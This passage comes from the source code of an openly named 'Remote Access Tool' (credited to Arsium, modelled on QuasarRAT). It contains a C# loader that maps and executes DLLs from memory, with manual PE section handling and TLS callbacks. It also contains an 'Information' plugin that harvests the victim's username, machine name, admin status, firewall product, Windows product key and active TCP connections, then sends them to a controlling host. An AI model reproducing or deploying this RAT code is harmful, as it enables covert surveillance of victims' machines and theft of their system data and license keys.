OrgNTHeaders.OptionalHeader.SectionAlignment); sectionData.Address = sectionAddress; sectionData.AlignedAddress = alignedAddress; sectionData.Size = sectionSize; sectionData.Characteristics = Section.Characteristics; } sectionData.Last = true; FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment); } static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment) { if (SectionData.Size == IntPtr.Zero) return; if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0) { // section is not needed any more and can safely be freed if (SectionData.Address == SectionData.AlignedAddress && (SectionData.Last || SectionAlignment == PageSize || (unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0) ) { // Only allowed to decommit whole pages Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT); } return; } // determine protection flags based on characteristics int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0; int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0; int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0; uint protect = (uint)ProtectionFlags[executable, readable, writeable]; if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE; // change memory access flags uint oldProtect; if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect)) throw new DllException("Error protecting memory page"); } static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders) { if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return; IMAGE_TLS_DIRECTORY tlsDir = PtrRead(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress)); IntPtr pCallBack = tlsDir.AddressOfCallBacks; if (pCallBack != IntPtr.Zero) { for (IntPtr Callback; (Callback = PtrRead(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size)) { ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate)); tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero); } } } /// /// Check if the process runs in 64bit mode or in 32bit mode /// /// True if process is 64bit, false if it is 32bit public static bool Is64BitProcess { get { return IntPtr.Size == 8; } } static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); } static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); } static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders) { uint size = Section.SizeOfRawData; if (size == 0) { if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0) { size = NTHeaders.OptionalHeader.SizeOfInitializedData; } else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0) { size = NTHeaders.OptionalHeader.SizeOfUninitializedData; } } return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size)); } public void Close() { ((IDisposable)this).Dispose(); } void IDisposable.Dispose() { Dispose(); GC.SuppressFinalize(this); } public void Dispose() { if (_initialized) { if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, IntPtr.Zero); _initialized = false; } if (ImportModules != null) { foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m); ImportModules = null; } if (pCode != IntPtr.Zero) { Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE); pCode = IntPtr.Zero; pNTHeaders = IntPtr.Zero; } Disposed = true; } // Protection flags for memory pages (Executable, Readable, Writeable) static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2] { { // not executable { PageProtection.NOACCESS, PageProtection.WRITECOPY }, { PageProtection.READONLY, PageProtection.READWRITE } }, { // executable { PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY }, { PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE } } }; struct SectionFinalizeData { internal IntPtr Address; internal IntPtr AlignedAddress; internal IntPtr Size; internal uint Characteristics; internal bool Last; } class Of { internal const int IMAGE_NT_HEADERS_OptionalHeader = 24; internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8; internal const int IMAGE_IMPORT_BY_NAME_Name = 2; } class Of32 { internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28; internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96; } class Of64 { internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24; internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112; } class Sz { internal const int IMAGE_SECTION_HEADER = 40; internal const int IMAGE_BASE_RELOCATION = 8; internal const int IMAGE_IMPORT_DESCRIPTOR = 20; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_DOS_HEADER { public ushort e_magic; // Magic number public ushort e_cblp; // Bytes on last page of file public ushort e_cp; // Pages in file public ushort e_crlc; // Relocations public ushort e_cparhdr; // Size of header in paragraphs public ushort e_minalloc; // Minimum extra paragraphs needed public ushort e_maxalloc; // Maximum extra paragraphs needed public ushort e_ss; // Initial (relative) SS value public ushort e_sp; // Initial SP value public ushort e_csum; // Checksum public ushort e_ip; // Initial IP value public ushort e_cs; // Initial (relative) CS value public ushort e_lfarlc; // File address of relocation table public ushort e_ovno; // Overlay number public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words public ushort e_oemid; // OEM identifier (for e_oeminfo) public ushort e_oeminfo; // OEM information; e_oemid specific public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words public int e_lfanew; // File address of new exe header } [StructLayout(LayoutKind.Sequential)] struct IMAGE_NT_HEADERS { public uint Signature; public IMAGE_FILE_HEADER FileHeader; public IMAGE_OPTIONAL_HEADER OptionalHeader; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_FILE_HEADER { public ushort Machine; public ushort NumberOfSections; public uint TimeDateStamp; public uint PointerToSymbolTable; public uint NumberOfSymbols; public ushort SizeOfOptionalHeader; public ushort Characteristics; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_OPTIONAL_HEADER { public MagicType Magic; public byte MajorLinkerVersion; public byte MinorLinkerVersion; public uint SizeOfCode; public uint SizeOfInitializedData; public uint SizeOfUninitializedData; public uint AddressOfEntryPoint; public uint BaseOfCode; public ulong ImageBaseLong; public uint SectionAlignment; public uint FileAlignment; public ushort MajorOperatingSystemVersion; public ushort MinorOperatingSystemVersion; public ushort MajorImageVersion; public ushort MinorImageVersion; public ushort MajorSubsystemVersion; public ushort MinorSubsystemVersion; public uint Win32VersionValue; public uint SizeOfImage; public uint SizeOfHeaders; public uint CheckSum; public SubSystemType Subsystem; public DllCharacteristicsType DllCharacteristics; public IntPtr SizeOfStackReserve; public IntPtr SizeOfStackCommit; public IntPtr SizeOfHeapReserve; public IntPtr SizeOfHeapCommit; public uint LoaderFlags; public uint NumberOfRvaAndSizes; public IMAGE_DATA_DIRECTORY ExportTable; public IMAGE_DATA_DIRECTORY ImportTable; public IMAGE_DATA_DIRECTORY ResourceTable; public IMAGE_DATA_DIRECTORY ExceptionTable; public IMAGE_DATA_DIRECTORY CertificateTable; public IMAGE_DATA_DIRECTORY BaseRelocationTable; public IMAGE_DATA_DIRECTORY Debug; public IMAGE_DATA_DIRECTORY Architecture; public IMAGE_DATA_DIRECTORY GlobalPtr; public IMAGE_DATA_DIRECTORY TLSTable; public IMAGE_DATA_DIRECTORY LoadConfigTable; public IMAGE_DATA_DIRECTORY BoundImport; public IMAGE_DATA_DIRECTORY IAT; public IMAGE_DATA_DIRECTORY DelayImportDescriptor; public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; public IMAGE_DATA_DIRECTORY Reserved; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_DATA_DIRECTORY { public uint VirtualAddress; public uint Size; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_SECTION_HEADER { public ulong Name; //8 byte string public uint PhysicalAddress; public uint VirtualAddress; public uint SizeOfRawData; public uint PointerToRawData; public uint PointerToRelocations; public uint PointerToLinenumbers; public ushort NumberOfRelocations; public ushort NumberOfLinenumbers; public uint Characteristics; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_BASE_RELOCATION { public uint VirtualAdress; public uint SizeOfBlock; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_IMPORT_DESCRIPTOR { public uint OriginalFirstThunk; public uint TimeDateStamp; public uint ForwarderChain; public uint Name; public uint FirstThunk; } [StructLayout(LayoutKind.Sequential)] struct IMAGE_EXPORT_DIRECTORY { public uint Characteristics; public uint TimeDateStamp; public ushort MajorVersion; public ushort MinorVersion; public uint Name; public uint Base; public uint NumberOfFunctions; public uint NumberOfNames; public uint AddressOfFunctions; // RVA from base of image public uint AddressOfNames; // RVA from base of image public uint AddressOfNameOrdinals; // RVA from base of image } [StructLayout(LayoutKind.Sequential)] struct SYSTEM_INFO { public ushort wProcessorArchitecture; public ushort wReserved; public uint dwPageSize; public IntPtr lpMinimumApplicationAddress; public IntPtr lpMaximumApplicationAddress; public IntPtr dwActiveProcessorMask; public uint dwNumberOfProcessors; public uint dwProcessorType; public uint dwAllocationGranularity; public ushort wProcessorLevel; public ushort wProcessorRevision; }; [StructLayout(LayoutKind.Sequential)] struct IMAGE_TLS_DIRECTORY { public IntPtr StartAddressOfRawData; public IntPtr EndAddressOfRawData; public IntPtr AddressOfIndex; public IntPtr AddressOfCallBacks; public IntPtr SizeOfZeroFill; public uint Characteristics; } enum MagicType : ushort { IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b } enum SubSystemType : ushort { IMAGE_SUBSYSTEM_UNKNOWN = 0, IMAGE_SUBSYSTEM_NATIVE = 1, IMAGE_SUBSYSTEM_WINDOWS_GUI = 2, IMAGE_SUBSYSTEM_WINDOWS_CUI = 3, IMAGE_SUBSYSTEM_POSIX_CUI = 7, IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9, IMAGE_SUBSYSTEM_EFI_APPLICATION = 10, IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11, IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12, IMAGE_SUBSYSTEM_EFI_ROM = 13, IMAGE_SUBSYSTEM_XBOX = 14 } enum DllCharacteristicsType : ushort { RES_0 = 0x0001, RES_1 = 0x0002, RES_2 = 0x0004, RES_3 = 0x0008, IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, RES_4 = 0x1000, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 } enum BasedRelocationType { IMAGE_REL_BASED_ABSOLUTE = 0, IMAGE_REL_BASED_HIGH = 1, IMAGE_REL_BASED_LOW = 2, IMAGE_REL_BASED_HIGHLOW = 3, IMAGE_REL_BASED_HIGHADJ = 4, IMAGE_REL_BASED_MIPS_JMPADDR = 5, IMAGE_REL_BASED_MIPS_JMPADDR16 = 9, IMAGE_REL_BASED_IA64_IMM64 = 9, IMAGE_REL_BASED_DIR64 = 10 } enum AllocationType : uint { COMMIT = 0x1000, RESERVE = 0x2000, RESET = 0x80000, LARGE_PAGES = 0x20000000, PHYSICAL = 0x400000, TOP_DOWN = 0x100000, WRITE_WATCH = 0x200000, DECOMMIT = 0x4000, RELEASE = 0x8000 } enum MemoryProtection : uint { EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, GUARD_Modifierflag = 0x100, NOCACHE_Modifierflag = 0x200, WRITECOMBINE_Modifierflag = 0x400 } enum PageProtection { NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, GUARD = 0x100, NOCACHE = 0x200, WRITECOMBINE = 0x400, } enum ImageSectionFlags : uint { IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. IMAGE_SCN_MEM_DISCARDABLE = 0x02000000, // Section can be discarded. IMAGE_SCN_MEM_NOT_CACHED = 0x04000000, // Section is not cachable. IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable. IMAGE_SCN_MEM_SHARED = 0x10000000, // Section is shareable. IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable. IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable. IMAGE_SCN_MEM_WRITE = 0x80000000 // Section is writeable. } enum DllReason : uint { DLL_PROCESS_ATTACH = 1, DLL_THREAD_ATTACH = 2, DLL_THREAD_DETACH = 3, DLL_PROCESS_DETACH = 0 } class Win { public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; public const uint IMAGE_NT_SIGNATURE = 0x00004550; public const uint IMAGE_FILE_MACHINE_I386 = 0x014c; public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664; public const uint PAGE_NOCACHE = 0x200; public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040; public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080; public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000; public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000; public const uint IMAGE_FILE_DLL = 0x2000; [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); [DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = CallingConvention.Cdecl, SetLastError = false)] public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr LoadLibrary(IntPtr lpFileName); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool FreeLibrary(IntPtr hModule); [DllImport("kernel32.dll", SetLastError = true)] public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo); // Equivalent to the IMAGE_FIRST_SECTION macro public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader) { return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader); } // Equivalent to the IMAGE_FIRST_SECTION macro public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader) { return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader; } // Equivalent to the IMAGE_ORDINAL32/64 macros public static IntPtr IMAGE_ORDINAL(IntPtr ordinal) { return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff); } // Equivalent to the IMAGE_SNAP_BY_ORDINAL32/64 macro public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal) { return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0)); } } static T PtrRead(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); } static void PtrWrite(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); } static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); } static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); } static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); } static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); } static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); } static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); } static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); } static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); } static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); } static T BytesReadStructAt(byte[] buf, int offset) { int size = Marshal.SizeOf(typeof(T)); IntPtr ptr = Marshal.AllocHGlobal(size); Marshal.Copy(buf, offset, ptr, size); T res = (T)Marshal.PtrToStructure(ptr, typeof(T)); Marshal.FreeHGlobal(ptr); return res; } } ================================================ FILE: Remote Access Tool/Plugins/Information/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Information/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Information/HardwareInformation.cs ================================================ using Plugin.Properties; using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class HardwareInformation { internal delegate IntPtr CPU(); internal static string CPUInformation() { DLLFromMemory cpuInfo; if(IntPtr.Size == 4) cpuInfo = new DLLFromMemory(Resources.CPU); else cpuInfo = new DLLFromMemory(Resources.CPU64); CPU C = (CPU)cpuInfo.GetDelegateFromFuncName("CpuInformation", typeof(CPU)); return Marshal.PtrToStringUni(C()); } } } ================================================ FILE: Remote Access Tool/Plugins/Information/Helpers.cs ================================================ using System; using System.Management; using System.Net; using System.Security.Principal; using static PacketLib.Packet.SystemInformation; /* || AUTHOR Arsium || || github : https://github.com/arsium || || Inspiration : QuasarRAT || */ namespace Plugin { internal static class Helpers { internal static string RemoveLastChars(string input, int amount = 2) { if (input.Length > amount) input = input.Remove(input.Length - amount); return input; } #region "Network" internal static string GetIpAddress(long ipAddrs) { string text; try { text = new IPAddress(ipAddrs).ToString(); } catch { text = ipAddrs.ToString(); } return text; } internal static ushort GetTcpPort(int tcpPort) { return Imports.ntohs((ushort)tcpPort); } #endregion #region "Hardware" internal static string GetWMIInformation(string askedInfo, string query = "SELECT * FROM Win32_OperatingSystem") { try { string information = string.Empty; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { information = mObject[askedInfo].ToString(); break; } } return (!string.IsNullOrEmpty(information)) ? information : "N/A"; } catch { } return "Unknown"; } internal static string GetResolution() { return GetWMIInformation("CurrentHorizontalResolution", "SELECT * FROM Win32_VideoController") + " x " + GetWMIInformation("CurrentVerticalResolution", "SELECT * FROM Win32_VideoController"); } internal static string GetGpuName() { try { string gpuName = string.Empty; string query = "SELECT * FROM Win32_DisplayConfiguration"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } } gpuName = RemoveLastChars(gpuName); return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; } catch { return "Unknown"; } } internal static string GetDebug() { try { string debugged = string.Empty; string query = "SELECT * FROM Win32_OperatingSystem"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { debugged += mObject["Debug"].ToString() + "; "; } } debugged = RemoveLastChars(debugged); return (!string.IsNullOrEmpty(debugged)) ? debugged : "N/A"; } catch { return "Unknown"; } } internal static string GetBiosDescription() { try { string biosIdentifier = string.Empty; string query = "SELECT * FROM Win32_BIOS"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { biosIdentifier = mObject["Description"].ToString(); break; } } return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A"; } catch { } return "Unknown"; } internal static string GetOsType() { try { string osType = string.Empty; string query = "SELECT * FROM Win32_OperatingSystem"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { osType = mObject["OSType"].ToString(); osType = ((WMIHelpers.OSType)int.Parse(osType)).ToString(); break; } } return (!string.IsNullOrEmpty(osType)) ? osType : "N/A"; } catch { } return "Unknown"; } internal static string GetMainboardName() { try { string mainboardIdentifier = string.Empty; string query = "SELECT * FROM Win32_BaseBoard"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); break; } } return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A"; } catch { } return "Unknown"; } internal static string GetUserName() { return Environment.UserName; } internal static string GetPcName() { return Environment.MachineName; } internal static AccountType GetUserType() { using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) { WindowsPrincipal principal = new WindowsPrincipal(identity); if (principal.IsInRole(WindowsBuiltInRole.Administrator)) { return AccountType.Admin; } else if (principal.IsInRole(WindowsBuiltInRole.User)) { return AccountType.User; } else if (principal.IsInRole(WindowsBuiltInRole.Guest)) { return AccountType.Guest; } else { return AccountType.Unknown; } } } internal static string GetFirewall() { try { string firewallName = string.Empty; string scope = "root\\SecurityCenter2"; string query = "SELECT * FROM FirewallProduct"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) { foreach (ManagementObject mObject in searcher.Get()) { firewallName += mObject["displayName"].ToString() + "; "; } } firewallName = RemoveLastChars(firewallName); return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; } catch { return "Unknown"; } } #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Information/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class Imports { #region "Structures" internal struct MIB_TCPROW_OWNER_PID { public ushort LocalPort { get { return BitConverter.ToUInt16(new byte[] { this.localPort2, this.localPort1 }, 0); } } public ushort RemotePort { get { return BitConverter.ToUInt16(new byte[] { this.remotePort2, this.remotePort1 }, 0); } } public uint state; public uint localAddr; public byte localPort1; public byte localPort2; public byte localPort3; public byte localPort4; public uint remoteAddr; public byte remotePort1; public byte remotePort2; public byte remotePort3; public byte remotePort4; public int owningPid; } internal struct MIB_TCPTABLE_OWNER_PID { internal uint dwNumEntries; internal MIB_TCPROW_OWNER_PID table; } #endregion #region "Enums" public enum TCP_TABLE_TYPE { TCP_TABLE_BASIC_LISTENER, TCP_TABLE_BASIC_CONNECTIONS, TCP_TABLE_BASIC_ALL, TCP_TABLE_OWNER_PID_LISTENER, TCP_TABLE_OWNER_PID_CONNECTIONS, TCP_TABLE_OWNER_PID_ALL, TCP_TABLE_OWNER_MODULE_LISTENER, TCP_TABLE_OWNER_MODULE_CONNECTIONS, TCP_TABLE_OWNER_MODULE_ALL } #endregion #region "Functions" [DllImport("Ws2_32.dll")] internal static extern ushort ntohs(ushort netshort); [DllImport("iphlpapi.dll", SetLastError = true)] internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_TYPE tblClass, int reserved); #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Information/Information.csproj ================================================  Debug AnyCPU {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B} Library Properties Plugin Information v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ Information TRACE prompt 4 bin\x64\Debug\ DEBUG;TRACE x64 7.3 prompt ..\..\bin\Release\Plugins\ Information64 TRACE true x64 7.3 prompt ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll ..\..\..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll True True Resources.resx ResXFileCodeGenerator Resources.Designer.cs {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/Information/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System.Collections.Generic; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { internal static Dictionary> cpuInformation; static Launch() { cpuInformation = new Dictionary>(); } public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MISC_INFORMATION: cpuInformation.Add("CPU", new List()); string s = HardwareInformation.CPUInformation(); cpuInformation["CPU"].Add(s); InformationPacket informationPacket = new InformationPacket(cpuInformation, loadingAPI.BaseIp, loadingAPI.HWID); informationPacket.information.systemInformation.systemInformation = new Dictionary { { "PC name", Helpers.GetPcName() }, { "Username", Helpers.GetUserName() }, { "Registered user", Helpers.GetWMIInformation("RegisteredUser") }, { "Account type", Helpers.GetUserType().ToString() }, { "Firewall", Helpers.GetFirewall() }, { "System drive", Helpers.GetWMIInformation("SystemDrive") }, { "System path", Helpers.GetWMIInformation("SystemDirectory") }, { "OS architecture", Helpers.GetWMIInformation("OSArchitecture") }, { "System version", Helpers.GetWMIInformation("Version") }, { "OS type", Helpers.GetOsType() }, { "OS manufacturer", Helpers.GetWMIInformation("Manufacturer") }, { "OS name", Helpers.GetWMIInformation("Caption") }, { "OS activation key", ActivationKey.GetWindowsProductKeyFromRegistry() }, { "Debug", Helpers.GetDebug() } }; informationPacket.information.hardwareInformation.hardwareInformation = new Dictionary { { "GPU", Helpers.GetGpuName() }, { "Resolution", Helpers.GetResolution() }, { "Motherboard", Helpers.GetMainboardName() }, { "Bios", Helpers.GetBiosDescription() } }; ClientSender(loadingAPI.Host, loadingAPI.Key, informationPacket); break; case PacketType.MISC_NETWORK_INFORMATION: NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket(NetworkInformation.AllTCPConnection(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, networkInformationPacket); break; default: return; } Miscellaneous.CleanMemory(); } private static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/Information/NetworkInformation.cs ================================================ using PacketLib.Packet; using System; using System.Collections.Generic; using System.Diagnostics; using System.Runtime.InteropServices; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class 